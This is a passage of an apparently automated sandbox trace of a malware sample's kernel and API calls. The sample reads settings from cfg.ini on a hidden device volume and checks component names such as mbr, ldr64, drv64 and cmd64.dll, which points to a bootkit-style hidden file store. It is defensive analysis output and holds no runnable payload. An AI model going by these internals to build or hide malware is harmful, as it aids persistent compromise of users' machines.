SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.814] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.814] IdePortDispatch () returned 0x103 [0119.814] KeWaitForMutexObject () returned 0x0 [0119.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca6b0 [0119.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.815] KeLeaveCriticalRegion () [0119.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.815] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.815] KeEnterCriticalRegion () [0119.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.815] KeLeaveCriticalRegion () [0119.815] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.815] KeEnterCriticalRegion () [0119.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.815] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.815] IdePortDispatch () returned 0x103 [0119.815] KeWaitForMutexObject () returned 0x0 [0119.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.816] KeLeaveCriticalRegion () [0119.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.816] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.816] KeEnterCriticalRegion () [0119.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e5000 [0119.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.816] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.816] IdePortDispatch () returned 0x103 [0119.816] KeWaitForMutexObject () returned 0x0 [0119.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.816] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.816] IdePortDispatch () returned 0x103 [0119.816] KeWaitForMutexObject () returned 0x0 [0119.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.816] KeLeaveCriticalRegion () [0119.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.817] KeEnterCriticalRegion () [0119.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] KeLeaveCriticalRegion () [0119.817] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.817] KeEnterCriticalRegion () [0119.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.817] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] KeLeaveCriticalRegion () [0119.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.817] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.817] KeEnterCriticalRegion () [0119.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] ExFreePoolWithTag (P=0xfffffa8003bca6b0, Tag=0x0) [0119.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.817] KeLeaveCriticalRegion () [0119.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.817] ReleaseMutex (hMutex=0xf0) returned 1 [0119.817] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.817] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.818] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.818] KeEnterCriticalRegion () [0119.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.818] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.818] IdePortDispatch () returned 0x103 [0119.818] KeWaitForMutexObject () returned 0x0 [0119.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.818] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.818] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbbb0 [0119.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.818] KeLeaveCriticalRegion () [0119.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.818] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.818] KeEnterCriticalRegion () [0119.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.818] KeLeaveCriticalRegion () [0119.818] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.818] KeEnterCriticalRegion () [0119.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.819] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.819] IdePortDispatch () returned 0x103 [0119.819] KeWaitForMutexObject () returned 0x0 [0119.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.819] KeLeaveCriticalRegion () [0119.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.819] KeEnterCriticalRegion () [0119.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e6000 [0119.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.819] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.819] IdePortDispatch () returned 0x103 [0119.819] KeWaitForMutexObject () returned 0x0 [0119.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.820] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.820] IdePortDispatch () returned 0x103 [0119.820] KeWaitForMutexObject () returned 0x0 [0119.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.820] KeLeaveCriticalRegion () [0119.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.820] KeEnterCriticalRegion () [0119.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.820] KeLeaveCriticalRegion () [0119.820] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.821] KeEnterCriticalRegion () [0119.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.821] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] KeLeaveCriticalRegion () [0119.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.821] KeEnterCriticalRegion () [0119.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] ExFreePoolWithTag (P=0xfffffa8003bdbbb0, Tag=0x0) [0119.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] KeLeaveCriticalRegion () [0119.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.821] ReleaseMutex (hMutex=0xf0) returned 1 [0119.821] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.821] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.821] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.821] KeEnterCriticalRegion () [0119.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.821] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.821] IdePortDispatch () returned 0x103 [0119.821] KeWaitForMutexObject () returned 0x0 [0119.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.821] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.821] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.821] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.821] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.821] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce00 [0119.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.821] KeLeaveCriticalRegion () [0119.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.822] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.822] KeEnterCriticalRegion () [0119.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.822] KeLeaveCriticalRegion () [0119.822] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.822] KeEnterCriticalRegion () [0119.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.822] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.822] IdePortDispatch () returned 0x103 [0119.822] KeWaitForMutexObject () returned 0x0 [0119.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.822] KeLeaveCriticalRegion () [0119.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.822] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.822] KeEnterCriticalRegion () [0119.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e7000 [0119.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.822] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.822] IdePortDispatch () returned 0x103 [0119.822] KeWaitForMutexObject () returned 0x0 [0119.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.823] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.823] IdePortDispatch () returned 0x103 [0119.823] KeWaitForMutexObject () returned 0x0 [0119.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.823] KeLeaveCriticalRegion () [0119.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.823] KeEnterCriticalRegion () [0119.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.823] KeLeaveCriticalRegion () [0119.824] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.824] KeEnterCriticalRegion () [0119.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.824] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.824] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.824] KeLeaveCriticalRegion () [0119.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.824] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.824] KeEnterCriticalRegion () [0119.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.824] ExFreePoolWithTag (P=0xfffffa8003bcce00, Tag=0x0) [0119.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.824] KeLeaveCriticalRegion () [0119.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.824] ReleaseMutex (hMutex=0xf0) returned 1 [0119.824] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.824] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.824] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.824] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.824] KeEnterCriticalRegion () [0119.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.824] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.824] IdePortDispatch () returned 0x103 [0119.824] KeWaitForMutexObject () returned 0x0 [0119.824] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.824] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.824] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.824] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.825] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.825] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.825] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.825] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.825] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.825] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.825] KeLeaveCriticalRegion () [0119.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.825] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.825] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.825] KeEnterCriticalRegion () [0119.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 